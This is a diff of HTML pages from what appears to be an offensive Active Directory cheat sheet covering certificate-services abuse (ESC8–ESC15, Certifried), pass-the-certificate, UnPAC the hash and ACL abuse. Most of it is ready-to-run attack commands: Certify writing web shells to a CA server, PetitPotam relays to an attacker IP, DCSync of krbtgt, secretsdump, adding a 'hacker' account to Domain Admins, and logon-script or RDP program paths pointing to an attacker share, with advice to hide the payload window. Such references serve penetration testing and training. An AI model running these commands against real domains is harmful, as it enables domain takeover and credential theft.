    Certify.exe request /template:User /altname:super.adm
+
    • +
  • Grant approval if required or disable the approval requirement + 
    # Grant
+Certify.exe issue /id:[REQUEST ID]
+# Disable
+Certify.exe setconfig /removeapproval /restart
+
    • +
+

Alternative exploitation from ManageCA to RCE on ADCS server:

+
# Get the current CDP list. Useful to find remote writable shares:
+Certify.exe writefile /ca:SERVER\ca-name /readonly
+
+# Write an aspx shell to a local web directory:
+Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx
+
+# Write the default asp shell to a local web directory:
+Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
+
+# Write a php shell to a remote web directory:
+Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
+
+

ESC8 - AD CS Relay Attack

+
+

An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

+
+

Require Impacket PR #1101

+
    +
  • +

    Version 1: NTLM Relay + Rubeus + PetitPotam + 

    impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
+impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
+# For a member server or workstation, the template would be "Computer".
+# Other templates: workstation, DomainController, Machine, KerberosAuthentication
+
+# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam 
+# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
+git clone https://github.com/topotam/PetitPotam
+python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
+python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
+python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
+python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
+
+# Use the certificate with rubeus to request a TGT
+Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
+Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
+
+# Now you can use the TGT to perform a DCSync
+mimikatz> lsadump::dcsync /user:krbtgt
+

    +
    • +
  • +

    Version 2: NTLM Relay + Mimikatz + Kekeo + 

    impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+
+# Mimikatz
+mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
+
+# Kekeo
+kekeo> base64 /input:on
+kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
+
+# Mimikatz
+mimikatz> lsadump::dcsync /user:krbtgt
+

    +
    • +
  • +

    Version 3: Kerberos Relay + 

    # Setup the relay
+sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
+
+# Run mitm6
+sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
+

    +
    • +
  • +

    Version 4: ADCSPwn - Require WebClient service running on the domain controller. By default this service is not installed. + 

    https://github.com/bats3c/ADCSPwn
+adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
+adcspwn.exe --adcs cs.pwnlab.local
+adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
+adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
+adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
+
+# ADCSPwn arguments
+adcs            -       This is the address of the AD CS server which authentication will be relayed to.
+secure          -       Use HTTPS with the certificate service.
+port            -       The port ADCSPwn will listen on.
+remote          -       Remote machine to trigger authentication from.
+username        -       Username for non-domain context.
+password        -       Password for non-domain context.
+dc              -       Domain controller to query for Certificate Templates (LDAP).
+unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
+output          -       Output path to store base64 generated crt.
+

    +
    • +
  • +

    Version 5: Certipy ESC8 + 

    certipy relay -ca 172.16.19.100
+

    +
    • +
+

ESC9 - No Security Extension

+

Requirements

+
    +
  • StrongCertificateBindingEnforcement set to 1 (default) or 0
    • +
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
    • +
  • Certificate specifies Any Client authentication EKU
    • +
  • GenericWrite over any account A to compromise any account B
    • +
+

Scenario

+

John@corp.local has GenericWrite over Jane@corp.local, and we want to compromise Administrator@corp.local. +Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

+
    +
  • Obtain the hash of Jane with Shadow Credentials (using our GenericWrite) + 
    certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
+
    • +
  • Change the userPrincipalName of Jane to be Administrator. ⚠ leave the @corp.local part + 
    certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
+
    • +
  • Request the vulnerable certificate template ESC9 from Jane's account. + 
    certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
+# userPrincipalName in the certificate is Administrator 
+# the issued certificate contains no "object SID"
+
    • +
  • Restore userPrincipalName of Jane to Jane@corp.local. + 
    certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
+
    • +
  • Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user. + 
    certipy auth -pfx administrator.pfx -domain corp.local
+# Add -domain <domain> to your command line since there is no domain specified in the certificate.
+
    • +
+

ESC11 - Relaying NTLM to ICPR

+
+

Encryption is not enforced for ICPR requests and Request Disposition is set to Issue.

+
+

Requirements:

+ +

Exploitation:

+
    +
  1. Look for Enforce Encryption for Requests: Disabled in certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout output
    2. +
  2. Setup a relay using Impacket ntlmrelay and trigger a connection to it. + 
    ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
+
    3. +
+

ESC12 - ADCS CA on YubiHSM

+

The ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key.

+

Unlocking the YubiHSM with the plaintext password in the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword.

+
    +
  • Importing the CA certificate into the user store + 
    certutil -addstore -user my <CA certificate file>
+
    • +
  • Associated with the private key in the YubiHSM2 device + 
    certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
+
    • +
  • Finally use certutil -sign ...
    • +
+

ESC13 - Issuance Policy

+
+

If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.

+
+

Requirements

+
    +
  • The principal has enrollment rights on a certificate template
    • +
  • The certificate template has an issuance policy extension
    • +
  • The issuance policy has an OID group link to a group
    • +
  • The certificate template defines EKUs that enable client authentication
    • +
+
PS C:\> $ESC13Template = Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties nTSecurityDescriptor $ESC13Template.nTSecurityDescriptor.Access | ? {$_.IdentityReference -eq "DUMPSTER\ESC13User"}
+AccessControlType     : Allow
+
+# check if there is an issuance policy in the msPKI-Certificate-Policy
+PS C:\> Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties msPKI-Certificate-Policy
+msPKI-Certificate-Policy : {1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.3651508.12319448}
+
+# check for OID group link
+PS C:\> Get-ADObject "CN=12319448.2C2B96A74878E00434BEDD82A61861C5,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink
+msDS-OIDToGroupLink     : CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire
+
+# verify if ESC13Group is a Universal group
+PS C:\> Get-ADGroup ESC13Group -Properties Members
+GroupScope        : Universal
+Members           : {}
+
+

Exploitation:

+
    +
  • +

    Request a certificate for the vulnerable template + 

    PS C:\> .\Certify.exe request /ca:DC01\dumpster-DC01-CA /template:ESC13Template
+

    +
    • +
  • +

    Merge into a PFX file + 

    PS C:\> certutil -MergePFX .\esc13.pem .\esc13.pfx
+

    +
    • +
  • +

    Verify the presence of the "Client Authentication" and the "Policy Identifier" + 

    PS C:\> certutil -Dump -v .\esc13.pfx
+

    +
    • +
  • +

    Ask a TGT for our user, but we are also member of the linked group and inherited their privileges + 

    PS C:\> .\Rubeus.exe asktgt /user:ESC13User /certificate:C:\esc13.pfx /nowrap
+

    +
    • +
+

ESC15 - EKUwu Application Policies

+

Requirements

+
    +
  • Template Schema Version 1
    • +
  • ENROLLEE_SUPPLIES_SUBJECT = True
    • +
+

Exploitation:

+

Detect the vulnerability from BloodHound data using the following cypher query.

+
MATCH p=(:Base)-[:MemberOf*0..]->()-[:Enroll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA)-[:TrustedForNTAuth]->(:NTAuthStore)-[:NTAuthStoreFor]->(:Domain) WHERE ct.enrolleesuppliessubject = True AND ct.authenticationenabled = False AND ct.requiresmanagerapproval = False AND ct.schemaversion = 1 RETURN p
+
+

The Application Policies extension is a proprietary certificate extension with the OID 1.3.6.1.4.1.311, same as x509 EKUs. It was designed to allow users to specify additional use cases for certificates by utilizing the same OIDs as those in the Enhanced Key Usage extension. +If there is a conflict between an Application Policy and an EKU, then Microsoft prefers the proprietary Application Policy.

+
+

"Application policy is Microsoft specific and is treated much like Extended Key Usage. If a certificate has an extension containing an application policy and also has an EKU extension, the EKU extension is ignored." - Microsoft

+
+

When a user requests a certificate based on a schema version 1 template and includes an application policy, the policy is incorporated into the certificate. This allows users to specify arbitrary EKUs, bypassing the requirements for ESC2.

+

ESC1 - The WebServer template is enabled by default in ADCS, requires a user-supplied SAN and only has the Server Authentication EKU. Using ly4k/Certipy PR #228, we can add the Client Authentication EKU to WebServer. Anybody with the Enroll permission on this template can now compromise the domain.

+
certipy req -dc-ip 10.10.10.10 -ca CA -target-ip 10.10.10.11 -u user@domain.com -p 'P@ssw0rd' -template WebServer -upn Administrator@domain.com --application-policies 'Client Authentication'
+certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shell
+
+# in LDAP shell
+add_user pentest_user
+add_user_to_group pentest_user "Domain Admins"
+
+

ESC2/ESC3 - Certificate Request Agent (1.3.6.1.4.1.311.20.2.1),

+
certipy -req -u user@domain.com -p 'P@ssw0rd' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca "Lab Root CA" -template WebServer -dc-ip 10.10.10.10 -target-ip 10.10.10.11
+certipy -req -u user@domain.com -p 'P@ssw0rd' -on-behalf-of DOMAIN\\Administrator -Template User -ca "Lab Root CA" -pfx user.pfx -dc-ip 10.10.10.10 -target-ip 10.10.10.11
+certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
+
+

Certifried CVE-2022-26923

+
+

An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.

+
+
    +
  • Find ms-DS-MachineAccountQuota + 
    bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota 
+
    • +
  • Add a new computer in the Active Directory, by default MachineAccountQuota = 10 + 
    bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*'
+certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
+
    • +
  • [ALTERNATIVE] If you are SYSTEM and the MachineAccountQuota=0: Use a ticket for the current machine and reset its SPN + 
    Rubeus.exe tgtdeleg
+export KRB5CCNAME=/tmp/ws02.ccache
+bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName
+
    • +
  • Set the dNSHostName attribute to match the Domain Controller hostname + 
    bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local
+bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName
+
    • +
  • Request a ticket + 
    # certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
+certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
+
    • +
  • Either use the pfx or set a RBCD on your machine account to takeover the domain + 
    certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
+
+openssl pkcs12 -in dc.pfx -out dc.pem -nodes
+bloodyAD -d lab.local  -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$'
+getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'   
+secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10 
+
    • +
+

Pass-The-Certificate

+
+

Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"

+
+
    +
  • Windows + 
    # Information about a cert file
+certutil -v -dump admin.pfx
+
+# From a Base64 PFX
+Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
+
+# Grant DCSync rights to an user
+./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
+# To restore
+./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
+
    • +
  • Linux + 
    # Base64-encoded PFX certificate (string) (password can be set)
+gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
+​
+# PEM certificate (file) + PEM private key (file)
+gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
+
+# PFX certificate (file) + password (string, optionnal)
+gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
+
+# Using Certipy
+certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
+certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
+
    • +
+

UnPAC The Hash

+

Using the UnPAC The Hash method, you can retrieve the NT Hash for an User via its certificate.

+
    +
  • Windows + 
    # Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
+Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
+
    • +
  • Linux + 
    # Obtain a TGT by validating a PKINIT pre-authentication
+$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
+
+# Use the session key to recover the NT hash
+$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
+
    • +
+

References

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Active Directory - Access Controls ACL/ACE

+

An Access Control Entry (ACE) is a specific permission granted or denied to a user or group for a particular resource, such as a file or directory. Each ACE defines the type of access allowed (e.g., read, write, execute) or denied.

+

An Access Control List (ACL) is a collection of Access Control Entries (ACEs) associated with a resource.

+
    +
  • +

    Check ACL for an User with ADACLScanner. + 

    ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
+

    +
    • +
  • +

    Automate ACL exploit Invoke-ACLPwn: + 

    ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'
+

    +
    • +
+

GenericAll/GenericWrite

+

User/Computer

+
    +
  • +

    We can set a SPN on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.

    +
      +
    • Windows/Linux + 
      # Check for interesting permissions on accounts:
+bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get writable --otype USER --right WRITE --detail | egrep -i 'distinguishedName|servicePrincipalName'
+
+# Check if current user has already an SPN setted:
+bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get object <UserName> --attr serviceprincipalname
+
+# Force set the SPN on the account: Targeted Kerberoasting
+bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname -v 'ops/whatever1'
+
+# Grab the ticket
+GetUsersSPNs.py -dc-ip 10.10.10.10 'attack.lab/john.doe:Password123*' -request-user <UserName>
+
+# Remove the SPN
+bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname
+
      • +
    • Windows only + 
      # Check for interesting permissions on accounts:
+Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
+
+# Check if current user has already an SPN setted:
+PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname
+
+# Force set the SPN on the account: Targeted Kerberoasting
+PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
+PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'}
+
+# Grab the ticket
+PowerView2 > $User = Get-DomainUser username 
+PowerView2 > $User | Get-DomainSPNTicket | fl
+PowerView2 > $User | Select serviceprincipalname
+
+# Remove the SPN
+PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
+
      • +
    +
    • +
  • +

    We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.

    +
      +
    • Windows/Linux: + 
      # Modify the userAccountControl
+$ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] add uac [Target_User] -f DONT_REQ_PREAUTH
+
+# Grab the ticket
+$ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
+
+# Set back the userAccountControl
+$ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] remove uac [Target_User] -f DONT_REQ_PREAUTH
+
      • +
    • Windows only: + 
      # Modify the userAccountControl
+PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
+PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
+
+# Grab the ticket
+PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
+ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username
+
+# Set back the userAccountControl
+PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
+PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
+
      • +
    +
    • +
  • +

    Reset another user's password.

    +
      +
    • Windows/Linux: + 
      # Using bloodyAD with pass-the-hash
+bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password john.doe 'Password123!'
+
      • +
    • Windows only: + 
      # https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
+$user = 'DOMAIN\user1'; 
+$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; 
+$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
+$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; 
+Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
+
      • +
    • Linux only: + 
      # Using rpcclient from the  Samba software suite
+rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 
+
      • +
    +
    • +
  • +

    WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script :

    +
      +
    • Windows/Linux: + 
      bloodyAD --host 10.0.0.5 -d example.lab -u attacker -p 'Password123*' set object delegate scriptpath -v '\\10.0.0.5\totallyLegitScript.bat'
+
      • +
    • Windows only: + 
      Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.bat"
+
      • +
    +
    • +
+

Group

+
    +
  • This ACE allows us to add ourselves to the Domain Admin group :
      +
    • Windows/Linux: + 
      bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 add groupMember 'Domain Admins' hacker
+
      • +
    • Windows only: + 
      net group "domain admins" hacker /add /domain
+
      • +
    • Linux only: + 
      # Using the Samba software suite
+net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]
+
      • +
    +
    • +
+

GenericWrite and Remote Connection Manager

+
+

Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.

+

This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/

+
+

⚠ The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable. +* Windows/Linux: + 

bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSInitialProgram -v '\\1.2.3.4\share\file.exe'
+bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSWorkDirectory -v 'C:\'
+
+* Windows only: + 
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
+$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
+$UserObject.TerminalServicesWorkDirectory = "C:\"
+$UserObject.SetInfo()
+

+

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.

+

WriteDACL

+

To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All.

+
    +
  • +

    WriteDACL on Domain:

    +
      +
    • Windows/Linux: + 
      # Give DCSync right to the principal identity
+bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B add dcsync user2
+
+# Remove right after DCSync
+bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B remove dcsync user2
+
      • +
    • Windows only: + 
      # Give DCSync right to the principal identity
+Import-Module .\PowerView.ps1
+$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
+Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local 
+
      • +
    +
    • +
  • +

    WriteDACL on Group:

    +
      +
    • Windows/Linux: + 
      bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' add genericAll 'cn=INTERESTING_GROUP,dc=corp' devil_user1
+
+# Remove right
+bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' remove genericAll 'cn=INTERESTING_GROUP,dc=corp' devil_user1
+
      • +
    • Windows only: + 
      # Using native command
+net group "INTERESTING_GROUP" User1 /add /domain
+# Or with external tool
+PowerSploit> Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
+
      • +
    +
    • +
+

WriteOwner

+

An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they wants. +* Windows/Linux: + 

bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' set owner target_object devil_user1
+
+* Windows only: + 
Powerview> Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
+

+

This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.

+

ReadLAPSPassword

+

An attacker can read the LAPS password of the computer account this ACE applies to. +* Windows/Linux: + 

bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
+
+* Windows only: + 
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
+

+

ReadGMSAPassword

+

An attacker can read the GMSA password of the account this ACE applies to. +* Windows/Linux: + 

bloodyAD -u john.doe -d bloody -p Password512 --host 192.168.10.2 get object 'gmsaAccount$' --attr msDS-ManagedPassword
+
+* Windows only: + 
# Save the blob to a variable
+$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
+$mp = $gmsa.'msDS-ManagedPassword'
+
+# Decode the data structure using the DSInternals module
+ConvertFrom-ADManagedPasswordBlob $mp
+

+

ForceChangePassword

+

An attacker can change the password of the user this ACE applies to: +* Windows/Linux: + 

# Using bloodyAD with pass-the-hash
+bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password target_user target_newpwd
+
+* Windows: + 
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
+
+* Linux: + 
# Using rpcclient from the  Samba software suite
+rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 
+

+

Organizational Units ACL

+

Access rights granted on Organizational Units can be exploited to compromise all the objects that are contained in it.

+
    +
  • synacktiv/OUned - The OUned project automating Active Directory Organizational Units ACL exploitation through gPLink poisoning
    • +
+

Non privileged objects

+

A user having the GenericAll right (and thus WriteDACL permissions) over an OU could add a FullControl ACE to the OU and specify that this ACE should be inherited, which will effectively lead to the compromise of all child objects since they will inherit said ACE.

+
    +
  • +

    Grant Full Control on SERVERS OU + 

    dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'username' -target-dn 'OU=SERVERS,DC=lab,DC=local' 'lab.local'/'username':'Password1'
+

    +
    • +
  • +

    Verify that we have Full Control ACL on AD01-SRV1 inside SERVERS + 

    dacledit.py -action 'read' -principal 'username' -target-dn 'CN=AD01-SRV1,OU=SERVERS,DC=lab,DC=local' 'lab.local'/'username':'Password1'
+

    +
    • +
+

⚠ ACE inheritance from parent objects is disabled for adminCount=1

+

Privileged objects

+

Requirements:

+
    +
  • GenericWrite OR Manage Group Policy links
    • +
  • Create a machine account
    • +
  • Add new DNS records
    • +
+

Attack's Flow: gPLink -> Attacker GPC FQDN -> GPT configuration files in Attacker SMB share -> execute a malicious scheduled task

+
    +
  • Edit the gPLink value to include a GPC FQDN pointing the attacker machine
    • +
  • Create a fake LDAP server mimicking the real one, but with a custom GPC
    • +
  • GPC's gPCFileSysPath value is pointing to the attacker SMB share
    • +
  • The SMB share is serving GPT configuration files including a malicious scheduled task
    • +
+

Exploit:

+

Check this blog post from Synacktiv to correctly setup all the requirements for this attack to succeeded.

+
sudo python3 OUned.py --config config.ini
+sudo python3 OUned.py --config config.example.ini --just-coerce
+
+

References

+ + + + + + + + + + + + + + + + + + + + + + + + +
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+ + + +
+ + + +
+ + + +
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+ + + + + + + + + + \ No newline at end of file diff --git a/active-directory/ad-adds-enumerate/index.html b/active-directory/ad-adds-enumerate/index.html new file mode 100644 index 0000000..c74e8e4 --- /dev/null +++ b/active-directory/ad-adds-enumerate/index.html @@ -0,0 +1,4530 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Active Directory - Enumeration - Internal All The Things + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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Active Directory - Enumeration

+

Using BloodHound

+

Use the appropriate data collector to gather information for BloodHound or BloodHound Community Edition (CE) across various platforms.

+ +

Examples:

+
    +
  • +

    Use BloodHoundAD/AzureHound (more info: Cloud - Azure Pentest)

    +
    • +
  • +

